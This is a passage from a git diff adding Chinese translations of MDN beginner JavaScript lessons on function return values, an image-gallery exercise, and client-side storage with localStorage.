id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/javascript/building_blocks/return_values/index.html b/files/zh-cn/learn/javascript/building_blocks/return_values/index.html new file mode 100644 index 0000000000..38f9fe0eff --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/return_values/index.html @@ -0,0 +1,172 @@ +--- +title: 函数返回值 +slug: learn/JavaScript/Building_blocks/Return_values +tags: + - JavaScript + - 函数 + - 返回值 +translation_of: Learn/JavaScript/Building_blocks/Return_values +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">函数返回值-是本章中最后一个基础概念,让我们一起来瞧瞧.。有些函数在执行完毕后不会返回一个有用的值,但有些会, 重要的是理解返回的是什么,怎样使用这些值在你的代码中,我们将在下面讨论这些。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td> + <p>基础的计算机知识, 懂得基础的HTML 和CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript </a>第一步学习, 函数-<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions"> </a>可重用的代码块.</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解什么函数的返回值 , 和如何使用它们</td> + </tr> + </tbody> +</table> + +<h2 id="什么是返回值">什么是返回值?</h2> + +<p>返回值意如其名,是指函数执行完毕后返回的值。你已经多次遇见过返回值,尽管你可能没有明确的考虑过他们。让我们一起回看一些熟悉的代码:</p> + +<pre class="brush: js notranslate">var myText = 'I am a string'; +var newString = myText.replace('string', 'sausage'); +console.log(newString); +// the replace() string function takes a string, +// replaces one substring with another, and returns +// a new string with the replacement made</pre> + +<p>在第一篇函数文章中,我们确切地看到了这一块代码。我们对 <code>myText</code> 字符串调用 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> 功能,并通过这两个参数的字符串查找,和子串替换它。当这个函数完成(完成运行)后,它返回一个值,这个值是一个新的字符串,它具有替换的功能。在上面的代码中,我们保存这个返回值,以作为<code>newString</code>变量的内容。</p> + +<p>如果你看看替换功能MDN参考页面,你会看到一个<a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">返回值</a>。知道和理解函数返回的值是非常有用的,因此我们尽可能地包含这些信息。</p> + +<p>一些函数没有返回值就像(在我们的参考页中,返回值在这种情况下被列出为空值 <code>void</code> 或未定义值 <code>undefined</code> 。).例如, 我们在前面文章中创建的 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50">displayMessage() function</a> , 由于调用的函数的结果,没有返回特定的值。它只是让一个提示框出现在屏幕的某个地方——就是这样!</p> + +<p>通常,返回值是用在函数在计算某种中间步骤。你想得到最终结果,其中包含一些值。那些值需要通过一个函数计算得到,然后返回结果可用于计算的下一个阶段。</p> + +<h3 id="在自定义的函数中使用返回值">在自定义的函数中使用返回值</h3> + +<p>要从自定义函数返回值,您需要使用…等待它… <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a> 关键字。 我们最近在<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a>示例中看到了这一点。 我们的 <code>draw()</code> 函数绘制100随机圆在HTML的{{htmlelement("canvas")}}:</p> + +<pre class="brush: js notranslate">function draw() { + ctx.clearRect(0,0,WIDTH,HEIGHT); + for (var i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } +}</pre> + +<p>在每个循环迭代,<code>random()</code>函数调用了三次,分别生成当前圆的x坐标,一个随机值Y坐标和半径。<code>random()</code>函数接受一个参数-一个整数,返回0到这个整数之间的随机数。看起来像这样:</p> + +<pre class="brush: js notranslate">function randomNumber(number) { + return Math.floor(Math.random()*number); +}</pre> + +<p>这也可以写成下面这样:</p> + +<pre class="brush: js notranslate">function randomNumber(number) { + var result = Math.floor(Math.random()*number); + return result; +}</pre> + +<p>但是第一个版本写得更快,而且更紧凑。</p> + +<p>我们每次调用函数都返回<code>Math.floor(Math.random()*number)</code>计算的数学结果。这个返回值出现在调用函数的位置上,并且代码继续。例如,如果我们运行下面的行:</p> + +<pre class="brush: js notranslate">ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);</pre> + +<p>这三次<code>random()</code>调用分别返回值500, 200和35,实际上这一行这样运行:</p> + +<pre class="brush: js notranslate">ctx.arc(500, 200, 35, 0, 2 * Math.PI);</pre> + +<p>在运行该行之前,首先运行该行上的函数调用,并用其返回值替换该函数调用。</p> + +<h2 id="主动学习:我们自己的返回值函数">主动学习:我们自己的返回值函数</h2> + +<p>让我们着手编写具有我们自己的返回值的函数。</p> + +<ol> + <li>首先,从GitHub的<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html">function-library.html</a>文件复制一份本地副本。这是一个简单的HTML页面包含一个 {{htmlelement("input")}} 文本域和一个段落。 还有一个 {{htmlelement("script")}} 元素,我们在两个变量中存储了对两个HTML元素的引用。这个小页面允许你在文本框中输入一个数字,并在下面的段落中显示不同的数字。</li> + <li>让我们添加一些有用的函数。在现有的两行JavaScript下面,添加以下函数定义: + <pre class="brush: js notranslate">function squared(num) { + return num * num; +} + +function cubed(num) { + return num * num * num; +} + +function factorial(num) { + var x = num; + while (x > 1) { + num *= x-1; + x--; + } + return num; +}</pre> + <code>squared()</code> 和 <code>cubed()</code> 功能是相当明显的-他们的平方或立方的数作为一个参数返回。factorial()函数返回给定数字的阶乘。</li> + <li>接下来,我们将包括一种打印输入到文本输入中的数字的信息的方法。在现有函数下面输入以下事件处理程序: + <pre class="brush: js notranslate">input.onchange = function() { + var num = input.value; + if (isNaN(num)) { + para.textContent = 'You need to enter a number!'; + } else { + para.textContent = num + ' squared is ' + squared(num) + '. ' + + num + ' cubed is ' + cubed(num) + '. ' + + num + ' factorial is ' + factorial(num) + '.'; + } +}</pre> + + <p>这里我们创建一个<code>onchange</code>事件处理程序,当文本框上面的change事件被触发的之后,事件处理程序就会运行 - 就是说,一个新的值被输入到文本框并且被提交(就比如,输入一个值,然后按Tab)。当这个匿名函数运行时,输入框中的值将被存储在<code>num</code>变量中。</p> + + <p>接下来,我们进行条件测试——如果输入的值不是数字,则在段落中打印错误消息。if语句判断<a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN(num)</a>表达式是否返回true。我们用<code>isNaN()</code>函数测试<code>num</code>的值是否不是一个数字-如果不是数字,就返回<code>true</code>,否则返回<code>false</code>。</p> + + <p>如果测试返回false,则数值是一个数字,所以我们在段落元素中打印出一个句子,说明数字的平方、立方体和阶乘是什么。这句话叫squared(),cubed(),和factorial()函数来获得所需的值。</p> + </li> + <li>保存您的代码,将其加载到浏览器中,然后尝试. </li> +</ol> + +<div class="note"> +<p><strong>Note</strong>:如果你有麻烦让例子工作,对比<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">GitHub的已完成版</a>检查你的代码(或<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">看它在线运行</a>),或寻求我们的帮助。</p> +</div> + +<p>在这一点上,我们希望您编写一个自己的几个函数,并将它们添加到库中。这个数的平方根或立方根,或一个圆的周长和半径是多少?</p> + +<p>这个练习提出了一些重要的观点,除了研究如何使用返回语句之外。此外,我们还有:</p> + +<ul> + <li>查看另一个将错误处理写入函数的示例。它是否提供了任何必要的参数通常是一个好主意,另一方面对可选参数提供默认值。这样,你的程序就不太可能出错了。</li> + <li>关于创建函数库思想的思考。随着你深入到你的编程生涯,你将开始一次又一次地做同样的事情。这是一个好主意,开始保持你自己的实用工具库,你经常使用-你可以把它们复制到你的新代码,甚至只是把它应用到任何你需要的HTML页面。</li> +</ul> + +<h2 id="结论">结论</h2> + +<p>因此,我们让它-功能是有趣的,非常有用的,虽然有很多要谈论他们的语法和功能,相当容易理解的正确的文章学习。</p> + +<p>如果您有什么不明白的地方,可以再通读一遍,或者<a href="https://developer.mozilla.org/en-US/Learn#Contact_us">联系我们</a>寻求帮助。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Functions in-depth</a> — 详细介绍更多高级功能相关信息的指南。</li> + <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Callback functions in JavaScript</a> — 一个常见的JavaScript模式是把一个函数传递给另一个函数作为参数,然后在第一个函数中调用它。这有点超出了这门课的范围,但值得学习很久。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/building_blocks/相片走廊/index.html b/files/zh-cn/learn/javascript/building_blocks/相片走廊/index.html new file mode 100644 index 0000000000..22101b20ba --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/相片走廊/index.html @@ -0,0 +1,244 @@ +--- +title: 照片库 +slug: learn/JavaScript/Building_blocks/相片走廊 +tags: + - 事件 + - 事件句柄 + - 初学者 + - 学习 + - 循环 + - 评估 +translation_of: Learn/JavaScript/Building_blocks/Image_gallery +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">我们已经学习了 JavaScript 基础的块结构,下面我们通过编写一个常见的基于 JavaScript 的照片库来测验一下你对于循环、函数、条件和事件的掌握情况。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>请读完本章其它所有小节的内容后再开始这个测验。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>测试你对 JavaScript 的循环、函数、条件语句和事件处理的掌握程度。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p><a href="https://raw.githubusercontent.com/roy-tian/learning-area/master/javascript/building-blocks/gallery/gallery-start.zip">下载压缩包</a> 并在本地解压。</p> + +<div class="note"> +<p><strong>注</strong>:你还可以使用类似 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 这些在线编辑器来完成测验。你可以把 HTML、CSS 和 JavaScript 代码复制过去。如果你选的工具没有独立的 JavaScript/CSS 板面,可以随时在 HTML 页面中添加 <code><script></code>/<code><style></code> 元素。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>我们提供了一些 HTML、CSS、相片和几行 JavaScript 代码。需要你来编写必要的 JavaScript 代码让这个项目运行起来。HTML 的 body 部分如下:</p> + +<pre class="brush: html notranslate"><h1>照片库</h1> + +<div class="full-img"> + <img class="displayed-img" src="images/pic1.jpg"> + <div class="overlay"></div> + <button class="dark">变暗</button> +</div> + +<div class="thumb-bar"> + +</div></pre> + +<p>你可以尝试操作一下这个示例,也可 <a href="https://roy-tian.github.io/mdn-examples/javascript/gallery/">在线打开</a>。(不要偷看源代码哦!)</p> + +<div class="hidden"> +<h6 id="Image_gallery">Image gallery</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <style> + h1 { + font-family: helvetica, arial, sans-serif; + text-align: center; + } + + body { + width: 640px; + margin: 0 auto; + } + + .full-img { + position: relative; + display: block; + width: 640px; + height: 480px; + } + + .overlay { + position: absolute; + top: 0; + left: 0; + width: 640px; + height: 480px; + background-color: rgba(0,0,0,0); + } + + button { + background: rgba(150,150,150,0.6); + text-shadow: 1px 1px 1px white; + border: 1px solid #999; + position: absolute; + cursor: pointer; + top: 2px; + left: 2px; + } + + .thumb-bar img { + display: block; + width: 20%; + float: left; + cursor: pointer; + } + </style> + </head> + + <body> + <h1>照片库</h1> + + <div class="full-img"> + <img class="displayed-img" src="https://roy-tian.github.io/mdn-examples/gallery/images/pic1.jpg"> + <div class="overlay"></div> + <button class="dark">变暗</button> + </div> + + <div class="thumb-bar"> </div> + <script> + var displayedImage = document.querySelector('.displayed-img'); + var thumbBar = document.querySelector('.thumb-bar'); + + btn = document.querySelector('button'); + var overlay = document.querySelector('.overlay'); + + for(var i = 1; i <= 5; i++) { + var newImage = document.createElement('img'); + newImage.setAttribute('src', 'https://roy-tian.github.io/mdn-examples/gallery/images/pic' + i + '.jpg'); + thumbBar.appendChild(newImage); + newImage.onclick = function(e) { + var imgSrc = e.target.getAttribute('src'); + displayImage(imgSrc); + } + } + + function displayImage(imgSrc) { + displayedImage.setAttribute('src', imgSrc); + } + + btn.onclick = function() { + var btnClass = btn.getAttribute('class'); + if(btnClass === 'dark') { + btn.setAttribute('class','light'); + btn.textContent = '变亮'; + overlay.style.backgroundColor = 'rgba(0,0,0,0.5)'; + } else { + btn.setAttribute('class','dark'); + btn.textContent = '变暗'; + overlay.style.backgroundColor = 'rgba(0,0,0,0)'; + } + } + </script> + </body> +</html></pre> +</div> + +<ul> +</ul> + +<p>{{ EmbedLiveSample('Image_gallery', '100%', 680, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>以下是本例中 CSS 文件最值得关注的部分:</p> + +<ul> + <li><code>full-img <div></code> 中有三个绝对定位的元素:一个显示全尺寸图片的 <code><img></code>,一个空 <code><div></code>(覆盖在 <code><img></code> 之上,且与之大小相同,用来设置半透明背景色来使图片变暗),和一个用来控制变暗效果的 <code><button></code>。</li> + <li>将 <code>thumb-bar <div></code> 中图片(即“缩略图”)的宽度设置为20%,并且将它们浮动至左端,使得它们在同一行上依次排列。</li> +</ul> + +<p>你的 JavaScript 需要:</p> + +<ul> + <li>遍历所有相片,为每张相片生成一个 <code><img></code> 元素并把它们插入 <code>thumb-bar <div></code> 中,这样图片就会嵌入页面。</li> + <li>为 <code>thumb-bar <div></code> 里的每个 <code><img></code> 元素添加一个 <code>onclick</code> 处理器,在图片被点击时相应的图片被显示到 <code>displayed-img <img></code> 元素上。</li> + <li>给 <code><button></code> 元素添加一个 <code>onclick</code> 处理器,当按钮被点击时,将全尺寸图片变暗,再次点击时取消。</li> +</ul> + +<p>可以看一下 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/building-blocks/gallery/">完成的示例</a> 体会一下。(别偷看代码哦)</p> + +<h2 id="步骤">步骤</h2> + +<p>以下是你的工作。</p> + +<h3 id="遍历照片">遍历照片</h3> + +<p>我们提供的代码中用一个名为 <code>thumBar</code> 的变量用来存储 <code>thumb-bar <div></code> 的引用,创建了一个新的 <code><img></code> 元素,将它的 <code>src</code> 属性值设置成 <code>xxx</code> 占位符,并且将这个新的 <code><img></code> 元素添加到 <code>thumbBar</code> 里。</p> + +<p>你应该:</p> + +<ol> + <li>在"遍历图片"注释下方添加一个循环来遍历 5 张图片,只需要遍历 5 个数字,每个数字代表一张图片。</li> + <li>每次迭代中,用图片路径的字符串替换掉占位符 <code>xxx</code>。即在每次迭代中把 <code>src</code> 属性设置为图片的路径。记住,图片都在 images 目录下,文件名是 <code>pic1.jpg</code><font face="Open Sans, arial, x-locale-body, sans-serif">、</font><code>pic2.jpg</code>,等等。</li> +</ol> + +<h3 id="给每一个缩略图添加点击处理器">给每一个缩略图添加点击处理器</h3> + +<p>每次迭代中,你需要给当前的 <code>newImage</code> 加上一个 <code>onclick</code> 事件处理函数——它应该:</p> + +<ol> + <li>找到当前图片的 <code>src</code> 属性值。这个可以通过对当前的 <code><img></code> 用 <code>"src"</code> 作为参数调用 <code><a href="/zh-CN/docs/Web/API/Element/getAttribute">getAttribute()</a></code> 函数来完成,但是如何在代码里获取图片?用 <code>newImage</code> 是不行的,因为在事件处理函数应用之前循环已经结束,这样每次迭代 <code>src</code> 的值都会是最后一张图片。因此,对于每个事件处理器,<code><img></code> 都是函数的目标。是否可以从事件对象获得相关信息呢。</li> + <li>调用一个函数,取上一步返回的 <code>src</code> 值作为参数。可以给这个函数起一个喜欢的名字。</li> + <li>事件处理器函数应该把 <code>displayed-img <img></code> 的 <code>src</code> 属性值设为作为参数传入的 <code>src</code> 值。我们已经提供了一个 <code>displayedImg</code> 变量存储相关的 <code><img></code>。注意我们需要的是一个定义好的、有名字的函数。</li> +</ol> + +<h3 id="为变亮变暗按钮编写处理器">为变亮/变暗按钮编写处理器</h3> + +<p>还剩最后的变亮/变暗 <code><button></code>。我们已经提供了一个名为 <code>btn</code> 的变量来存储 <code><button></code> 的引用。需要添加一个 <code>onclick</code> 事件处理函数:</p> + +<ol> + <li>检查当前 <code><button></code> 按钮的类名称,仍可用 <code>getAttribute()</code> 函数取得。</li> + <li>如果类名的值是 <code>"dark"</code>, 将 <code><button></code> 的类名变为 <code>"light"</code>(使用 <code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Element/setAttribute">setAttribute()</a></code>), 文本内容变为 "变亮",蒙板 <code><div></code> 的{{cssxref("background-color")}} 设为 <code>"rgba(0,0,0,0.5)"</code>。</li> + <li>如果类名的值不是 <code>"dark"</code>, 将 <code><button></code> 的类名变为 <code>"dark"</code>,文本内容变为 "变暗",蒙板 <code><div></code> 的{{cssxref("background-color")}} 设为 <code>"rgba(0,0,0,0)"</code>。</li> +</ol> + +<p>以下是实现上述 2、3 点所提功能的基本代码:</p> + +<pre class="brush: js notranslate">btn.setAttribute('class', xxx); +btn.textContent = xxx; +overlay.style.backgroundColor = xxx;</pre> + +<h2 id="提示">提示</h2> + +<ul> + <li>完全不需要修改 HTML 和 CSS 文件。</li> +</ul> + +<h2 id="测验">测验</h2> + +<p>如果你是在课堂上进行这个测验,你可以把作品交给导或教授去打分了。如果你是在自学,可以很容易地在 <a href="https://discourse.mozilla.org/t/image-gallery-assessment/24687">本节测验的讨论页</a> 或 <a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla 聊天室</a>的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> 频道回复得到批改指南。请先自己试着做,作弊学不到任何东西!</p> + +<p>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/conditionals">条件语句:在代码中作出决策</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Looping_code">循环代码</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Functions">函数:可复用的代码块</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">创建自己的函数</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Return_values">函数的返回值</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Events">初识“事件”</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Image_gallery">照片库</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/client-side_storage/index.html new file mode 100644 index 0000000000..8124baee4e --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -0,0 +1,798 @@ +--- +title: 客户端存储 +slug: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +tags: + - API + - IndexedDB + - JavaScript + - 初学者 + - 存储 + - 文章 +translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +--- +<p>{{LearnSidebar}}</p> + +<div>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<div></div> + +<p class="summary">现代web浏览器提供了很多在用户电脑web客户端存放数据的方法 — 只要用户的允许 — 可以在它需要的时候被重新获得。这样能让你存留的数据长时间保存, 保存站点和文档在离线情况下使用, 保留你对其站点的个性化配置等等。本篇文章只解释它们工作的一些很基础的部分。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>JavaScript 基础 (查看 <a href="/en-US/docs/Learn/JavaScript/First_steps">第一步</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">构建的块</a>, <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript 对象</a>), <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction"> 基础的客户端 API</a></td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>学习如何使用客户端存储 API 来存储应用数据。</td> + </tr> + </tbody> +</table> + +<h2 id="客户端存储">客户端存储?</h2> + +<p>在其他的MDN学习中我们已经讨论过 静态网站(<a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites">static sites</a>) 和动态网站( <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites">dynamic sites</a>)的区别。 大多数现代的web站点是动态的— 它们在服务端使用各种类型的数据库来存储数据(服务端存储), 之后通过运行服务端( <a href="/en-US/docs/Learn/Server-side">server-side</a>) 代码来重新获取需要的数据,把其数据插入到静态页面的模板中,并且生成出HTML渲染到用户浏览上。</p> + +<p>客户端存储以相同的原理工作,但是在使用上有一些不同。它是由 JavaScript APIs 组成的因此允许你在客户端存储数据 (比如在用户的机器上),而且可以在需要的时候重新取得需要的数据。这有很多明显的用处,比如:</p> + +<ul> + <li>个性化网站偏好(比如显示一个用户选择的窗口小部件,颜色主题,或者字体)。</li> + <li>保存之前的站点行为 (比如从先前的session中获取购物车中的内容, 记住用户是否之前已经登陆过)。</li> + <li>本地化保存数据和静态资源可以使一个站点更快(至少让资源变少)的下载, 甚至可以在网络失去链接的时候变得暂时可用。</li> + <li>保存web已经生产的文档可以在离线状态下访问。</li> +</ul> + +<p>通常客户端和服务端存储是结合在一起使用的。例如,你可以从数据库中下载一个由网络游戏或音乐播放器应用程序使用的音乐文件,将它们存储在客户端数据库中,并按需要播放它们。用户只需下载音乐文件一次——在随后的访问中,它们将从数据库中检索。</p> + +<div class="note"> +<p><strong>注意:</strong>使用客户端存储 API 可以存储的数据量是有限的(可能是每个API单独的和累积的总量);具体的数量限制取决于浏览器,也可能基于用户设置。有关更多信息,获取更多信息,请参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">浏览器存储限制和清理标准</a>。</p> +</div> + +<h3 id="传统方法:cookies">传统方法:cookies</h3> + +<p>客户端存储的概念已经存在很长一段时间了。从早期的网络时代开始,网站就使用 <a href="/zh-CN/docs/Web/HTTP/Cookies">cookies</a> 来存储信息,以在网站上提供个性化的用户体验。它们是网络上最早最常用的客户端存储形式。<br> + 因为在那个年代,有许多问题——无论是从技术上的还是用户体验的角度——都是困扰着 cookies 的问题。这些问题非常重要,以至于当第一次访问一个网站时,欧洲居民会收到消息,告诉他们是否会使用 cookies 来存储关于他们的数据,而这是由一项被称为<a href="/zh-CN/docs/Web/HTTP/Cookies#%E6%AC%A7%E7%9B%9FCookie%E6%8C%87%E4%BB%A4">欧盟 Cookie 条例</a>的欧盟法律导致的。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15734/cookies-notice.png" style="display: block; margin: 0 auto;"></p> + +<p>由于这些原因,我们不会在本文中教你如何使用cookie。毕竟它过时、存在各种<a href="/zh-CN/docs/Web/HTTP/Cookies#安全">安全问题</a>,而且无法存储复杂数据,而且有更好的、更现代的方法可以在用户的计算机上存储种类更广泛的数据。<br> + cookie的唯一优势是它们得到了非常旧的浏览器的支持,所以如果您的项目需要支持已经过时的浏览器(比如 Internet Explorer 8 或更早的浏览器),cookie可能仍然有用,但是对于大多数项目(很明显不包括本站)来说,您不需要再使用它们了。其实cookie也没什么好说的,<code><a href="/zh-CN/docs/Web/API/Document/cookie">document.cookie</a></code>一把梭就完事了。</p> + +<div class="note"> +<p>为什么仍然有新创建的站点使用 cookies?这主要是因为开发人员的习惯,使用了仍然使用cookies的旧库,以及存在许多web站点,提供了过时的参考和培训材料来学习如何存储数据。</p> +</div> + +<h3 id="新流派:Web_Storage_和_IndexedDB">新流派:Web Storage 和 IndexedDB</h3> + +<p>现代浏览器有比使用 cookies 更简单、更有效的存储客户端数据的 API。</p> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a> 提供了一种非常简单的语法,用于存储和检索较小的、由名称和相应值组成的数据项。当您只需要存储一些简单的数据时,比如用户的名字,用户是否登录,屏幕背景使用了什么颜色等等,这是非常有用的。</li> + <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> 为浏览器提供了一个完整的数据库系统来存储复杂的数据。这可以用于存储从完整的用户记录到甚至是复杂的数据类型,如音频或视频文件。</li> +</ul> + +<p>您将在下面了解更多关于这些 API 的信息。</p> + +<h3 id="未来:Cache_API">未来:Cache API</h3> + +<p>一些现代浏览器支持新的 {{domxref("Cache")}} API。这个API是为存储特定HTTP请求的响应文件而设计的,它对于像存储离线网站文件这样的事情非常有用,这样网站就可以在没有网络连接的情况下使用。缓存通常与 <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> 组合使用,尽管不一定非要这么做。<br> + Cache 和 Service Workers 的使用是一个高级主题,我们不会在本文中详细讨论它,尽管我们将在下面的 {{anch("离线文件存储")}} 一节中展示一个简单的例子。</p> + +<h2 id="存储简单数据_—_web_storage">存储简单数据 — web storage</h2> + +<p><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a> 非常容易使用 — 你只需存储简单的 键名/键值 对数据 (限制为字符串、数字等类型) 并在需要的时候检索其值。</p> + +<h3 id="基本语法">基本语法</h3> + +<p>让我们来告诉你怎么做:</p> + +<ol> + <li> + <p>第一步,访问 GitHub 上的 <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html">web storage blank template</a> (在新标签页打开此<a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html" rel="noopener"><font>模板</font></a>)。</p> + </li> + <li> + <p>打开你浏览器开发者工具的 JavaScript 控制台。</p> + </li> + <li> + <p>你所有的 web storage 数据都包含在浏览器内两个类似于对象的结构中: {{domxref("Window.sessionStorage", "sessionStorage")}} 和 {{domxref("Window.localStorage", "localStorage")}}。 第一种方法,只要浏览器开着,数据就会一直保存 (关闭浏览器时数据会丢失) ,而第二种会一直保存数据,甚至到浏览器关闭又开启后也是这样。我们将在本文中使用第二种方法,因为它通常更有用。</p> + </li> + <li> + <p>{{domxref("Storage.setItem()")}} 方法允许您在存储中保存一个数据项——它接受两个参数:数据项的名字及其值。试着把它输入到你的JavaScript控制台(如果你愿意的话,可以把它的值改为你自己的名字!)</p> + + <pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre> + </li> + <li> + <p>{{domxref("Storage.getItem()")}} 方法接受一个参数——你想要检索的数据项的名称——并返回数据项的值。现在将这些代码输入到你的JavaScript控制台:</p> + + <pre class="brush: js notranslate">var myName = localStorage.getItem('name'); +myName</pre> + + <p>在输入第二行时,您应该会看到 <code>myName</code>变量现在包含<code>name</code>数据项的值。</p> + </li> + <li> + <p>{{domxref("Storage.removeItem()")}} 方法接受一个参数——你想要删除的数据项的名称——并从 web storage 中删除该数据项。在您的JavaScript控制台中输入以下几行:</p> + + <pre class="brush: js notranslate">localStorage.removeItem('name'); +var myName = localStorage.getItem('name'); +myName</pre> + + <p>第三行现在应该返回 <code>null</code> — <code>name</code> 项已经不存在于 web storage 中。</p> + </li> +</ol> + +<h3 id="数据会一直存在!">数据会一直存在!</h3> + +<p>web storage 